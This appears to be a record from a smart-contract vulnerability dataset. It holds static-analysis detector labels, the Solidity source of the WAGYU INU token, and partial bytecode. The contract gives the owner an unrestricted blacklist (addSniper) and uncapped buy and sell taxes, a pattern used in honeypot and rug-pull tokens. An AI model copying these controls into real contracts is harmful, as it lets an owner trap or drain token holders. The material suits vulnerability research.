f860020a900460ff169281019290925290935043141561105e57600080fd5b602083015165ffffffffffff16156110815761107f60008560000151610c59565b505b64ffffffffff431660208085019182528581018051600160c860020a03908116875260ff808a166040808a019182528a51600160a060020a039081166000908152600b88528290208b5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff65ffffffffffff9590951660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9690971678ffffffffffffffffffffffffffffffffffffffffffffffffff19909a16999099179490941694909417919091169590951790558751915184519290911682529181019190915280820187905290517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b6000828211156111d157fe5b50900390565b6000836111e48484610603565b8115156111ed57fe5b06949350505050565b6000826103e8600554856112146001876111c590919063ffffffff16565b61122587600163ffffffff6111c516565b606403880281151561123357fe5b04010281151561123f57fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a72305820e4c83c38a0728bf194a4cf57bd8ad736f9c99a4b067a8941a174025175cc4baa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
415
0x219ec7d013e7f2a8f8a28348685df2c1689f52fe
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ // SPDX-License-Identifier: Unlicensed // TG @WagYuInu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WAGYU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WAGYU INU"; string private constant _symbol = "WAGYU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 12; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xE784C616eC414EC5bff3da60C9948209585e03eD); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e9 * 10**9; uint256 public _maxWalletSize = 2e9 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e9 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 5 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setPair() external onlyOwner{ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610662578063e0f9f6a0146106a8578063ea1644d5146106c8578063f2fde38b146106e8578063fe72c3c11461070857600080fd5b806395d89b41146105b45780639ec350ed146105e25780639f13157114610602578063a9059cbb14610622578063c55284901461064257600080fd5b80637c519ffb116100f25780637c519ffb146105355780637d1db4a51461054a578063881dce60146105605780638da5cb5b146105805780638f9a55c01461059e57600080fd5b806370a08231146104ca578063715018a6146104ea57806374010ece146104ff578063790ca4131461051f57600080fd5b8063313ce567116101b15780634bf2c7c9116101755780634bf2c7c91461043f5780635d098b381461045f5780636b9cf5341461047f5780636d8aa8f8146104955780636fc3eaec146104b557600080fd5b8063313ce567146103ae57806333251a0b146103ca57806338eea22d146103ea57806349bd5a5e1461040a5780634bdc18de1461042a57600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461034057806327c8f8351461036057806328bb665a146103765780632fd689e31461039857600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082019091526009815268574147595520494e5560b81b60208201525b60405161027091906120c4565b60405180910390f35b34801561028557600080fd5b50610299610294366004611f6f565b61071e565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611ebb565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b5068056bc75e2d631000005b604051908152602001610270565b34801561034c57600080fd5b5061029961035b366004611f2e565b610735565b34801561036c57600080fd5b5061030261dead81565b34801561038257600080fd5b50610396610391366004611f9b565b61079e565b005b3480156103a457600080fd5b50610332601d5481565b3480156103ba57600080fd5b5060405160098152602001610270565b3480156103d657600080fd5b506103966103e5366004611ebb565b61083d565b3480156103f657600080fd5b506103966104053660046120a2565b6108ac565b34801561041657600080fd5b50601a54610302906001600160a01b031681565b34801561043657600080fd5b506103966108e1565b34801561044b57600080fd5b5061039661045a366004612089565b610add565b34801561046b57600080fd5b5061039661047a366004611ebb565b610b0c565b34801561048b57600080fd5b50610332601e5481565b3480156104a157600080fd5b506103966104b0366004612067565b610b66565b3480156104c157600080fd5b50610396610bae565b3480156104d657600080fd5b506103326104e5366004611ebb565b610bd8565b3480156104f657600080fd5b50610396610bfa565b34801561050b57600080fd5b5061039661051a366004612089565b610c6e565b34801561052b57600080fd5b50610332600a5481565b34801561054157600080fd5b50610396610c9d565b34801561055657600080fd5b50610332601b5481565b34801561056c57600080fd5b5061039661057b366004612089565b610cf7565b34801561058c57600080fd5b506000546001600160a01b0316610302565b3480156105aa57600080fd5b50610332601c5481565b3480156105c057600080fd5b50604080518082019091526005815264574147595560d81b6020820152610263565b3480156105ee57600080fd5b506103966105fd3660046120a2565b610d73565b34801561060e57600080fd5b5061039661061d366004612067565b610da8565b34801561062e57600080fd5b5061029961063d366004611f6f565b610df0565b34801561064e57600080fd5b5061039661065d3660046120a2565b610dfd565b34801561066e57600080fd5b5061033261067d366004611ef5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b457600080fd5b506103966106c3366004612089565b610e32565b3480156106d457600080fd5b506103966106e3366004612089565b610e6e565b3480156106f457600080fd5b50610396610703366004611ebb565b610e9d565b34801561071457600080fd5b5061033260185481565b600061072b338484610f87565b5060015b92915050565b60006107428484846110ab565b610794843361078f856040518060600160405280602881526020016122c9602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061174e565b610f87565b5060019392505050565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016107c890612119565b60405180910390fd5b60005b8151811015610839576001600960008484815181106107f5576107f5612287565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083181612256565b9150506107d4565b5050565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016107c890612119565b6001600160a01b03811660009081526009602052604090205460ff16156108a9576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016107c890612119565b600d91909155600f55565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016107c890612119565b601a54600160a01b900460ff161561092257600080fd5b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611ed8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a9190611ed8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611ed8565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b075760405162461bcd60e51b81526004016107c890612119565b601355565b6017546001600160a01b0316336001600160a01b031614610b2c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b905760405162461bcd60e51b81526004016107c890612119565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610bce57600080fd5b476108a981611788565b6001600160a01b03811660009081526002602052604081205461072f906117c2565b6000546001600160a01b03163314610c245760405162461bcd60e51b81526004016107c890612119565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c985760405162461bcd60e51b81526004016107c890612119565b601b55565b6000546001600160a01b03163314610cc75760405162461bcd60e51b81526004016107c890612119565b601a54600160a01b900460ff1615610cde57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d1757600080fd5b610d2030610bd8565b8111158015610d2f5750600081115b610d6a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107c8565b6108a981611846565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b81526004016107c890612119565b600b91909155600c55565b6000546001600160a01b03163314610dd25760405162461bcd60e51b81526004016107c890612119565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072b3384846110ab565b6000546001600160a01b03163314610e275760405162461bcd60e51b81526004016107c890612119565b600e91909155601055565b6000546001600160a01b03163314610e5c5760405162461bcd60e51b81526004016107c890612119565b610e6881610e10612220565b60185550565b6000546001600160a01b03163314610e985760405162461bcd60e51b81526004016107c890612119565b601c55565b6000546001600160a01b03163314610ec75760405162461bcd60e51b81526004016107c890612119565b6001600160a01b038116610f2c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fe95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c8565b6001600160a01b03821661104a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c8565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c8565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c8565b600081116111d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c8565b6001600160a01b03821660009081526009602052604090205460ff161561120c5760405162461bcd60e51b81526004016107c89061214e565b6001600160a01b03831660009081526009602052604090205460ff16156112455760405162461bcd60e51b81526004016107c89061214e565b3360009081526009602052604090205460ff16156112755760405162461bcd60e51b81526004016107c89061214e565b6000546001600160a01b038481169116148015906112a157506000546001600160a01b03838116911614155b1561159657601a54600160a01b900460ff166112ff5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107c8565b601a546001600160a01b03838116911614801561132a57506019546001600160a01b03848116911614155b156113dc576001600160a01b038216301480159061135157506001600160a01b0383163014155b801561136b57506017546001600160a01b03838116911614155b801561138557506017546001600160a01b03848116911614155b156113dc57601b548111156113dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c8565b601a546001600160a01b0383811691161480159061140857506017546001600160a01b03838116911614155b801561141d57506001600160a01b0382163014155b801561143457506001600160a01b03821661dead14155b1561149057601c548161144684610bd8565b61145091906121e6565b1061145a57600080fd5b601a54600160b81b900460ff161561149057600a5461147b9061012c6121e6565b421161149057601e5481111561149057600080fd5b600061149b30610bd8565b601d5490915081118080156114ba5750601a54600160a81b900460ff16155b80156114d45750601a546001600160a01b03868116911614155b80156114e95750601a54600160b01b900460ff165b801561150e57506001600160a01b03851660009081526006602052604090205460ff16155b801561153357506001600160a01b03841660009081526006602052604090205460ff16155b15611593576013546000901561156e57611563606461155d601354866119cf90919063ffffffff16565b90611a4e565b905061156e81611a90565b61158061157b828561223f565b611846565b4780156115905761159047611788565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806115d857506001600160a01b03831660009081526006602052604090205460ff165b8061160a5750601a546001600160a01b0385811691161480159061160a5750601a546001600160a01b03848116911614155b156116175750600061173c565b601a546001600160a01b03858116911614801561164257506019546001600160a01b03848116911614155b1561169d576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561169d576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156116c857506019546001600160a01b03858116911614155b1561173c576001600160a01b0384166000908152600460205260409020541580159061171957506018546001600160a01b0385166000908152600460205260409020544291611716916121e6565b10155b1561172f57600b54601155600c5460125561173c565b600f546011556010546012555b61174884848484611a9d565b50505050565b600081848411156117725760405162461bcd60e51b81526004016107c891906120c4565b50600061177f848661223f565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610839573d6000803e3d6000fd5b60006007548211156118295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c8565b6000611833611ad1565b905061183f8382611a4e565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061188e5761188e612287565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118e257600080fd5b505afa1580156118f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191a9190611ed8565b8160018151811061192d5761192d612287565b6001600160a01b0392831660209182029290920101526019546119539130911684610f87565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061198c908590600090869030904290600401612175565b600060405180830381600087803b1580156119a657600080fd5b505af11580156119ba573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826119de5750600061072f565b60006119ea8385612220565b9050826119f785836121fe565b1461183f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c8565b600061183f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611af4565b6108a93061dead836110ab565b80611aaa57611aaa611b22565b611ab5848484611b67565b8061174857611748601454601155601554601255601654601355565b6000806000611ade611c5e565b9092509050611aed8282611a4e565b9250505090565b60008183611b155760405162461bcd60e51b81526004016107c891906120c4565b50600061177f84866121fe565b601154158015611b325750601254155b8015611b3e5750601354155b15611b4557565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611b7987611ca0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bab9087611cfd565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bda9086611d3f565b6001600160a01b038916600090815260026020526040902055611bfc81611d9e565b611c068483611de8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4b91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611c7a8282611a4e565b821015611c975750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611cbd8a601154601254611e0c565b9250925092506000611ccd611ad1565b90506000806000611ce08e878787611e5b565b919e509c509a509598509396509194505050505091939550919395565b600061183f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061174e565b600080611d4c83856121e6565b90508381101561183f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c8565b6000611da8611ad1565b90506000611db683836119cf565b30600090815260026020526040902054909150611dd39082611d3f565b30600090815260026020526040902055505050565b600754611df59083611cfd565b600755600854611e059082611d3f565b6008555050565b6000808080611e20606461155d89896119cf565b90506000611e33606461155d8a896119cf565b90506000611e4b82611e458b86611cfd565b90611cfd565b9992985090965090945050505050565b6000808080611e6a88866119cf565b90506000611e7888876119cf565b90506000611e8688886119cf565b90506000611e9882611e458686611cfd565b939b939a50919850919650505050505050565b8035611eb6816122b3565b919050565b600060208284031215611ecd57600080fd5b813561183f816122b3565b600060208284031215611eea57600080fd5b815161183f816122b3565b60008060408385031215611f0857600080fd5b8235611f13816122b3565b91506020830135611f23816122b3565b809150509250929050565b600080600060608486031215611f4357600080fd5b8335611f4e816122b3565b92506020840135611f5e816122b3565b929592945050506040919091013590565b60008060408385031215611f8257600080fd5b8235611f8d816122b3565b946020939093013593505050565b60006020808385031215611fae57600080fd5b823567ffffffffffffffff80821115611fc657600080fd5b818501915085601f830112611fda57600080fd5b813581811115611fec57611fec61229d565b8060051b604051601f19603f830116810181811085821117156120115761201161229d565b604052828152858101935084860182860187018a101561203057600080fd5b600095505b8386101561205a5761204681611eab565b855260019590950194938601938601612035565b5098975050505050505050565b60006020828403121561207957600080fd5b8135801515811461183f57600080fd5b60006020828403121561209b57600080fd5b5035919050565b600080604083850312156120b557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120f1578581018301518582016040015282016120d5565b81811115612103576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121c55784516001600160a01b0316835293830193918301916001016121a0565b50506001600160a01b0396909616606085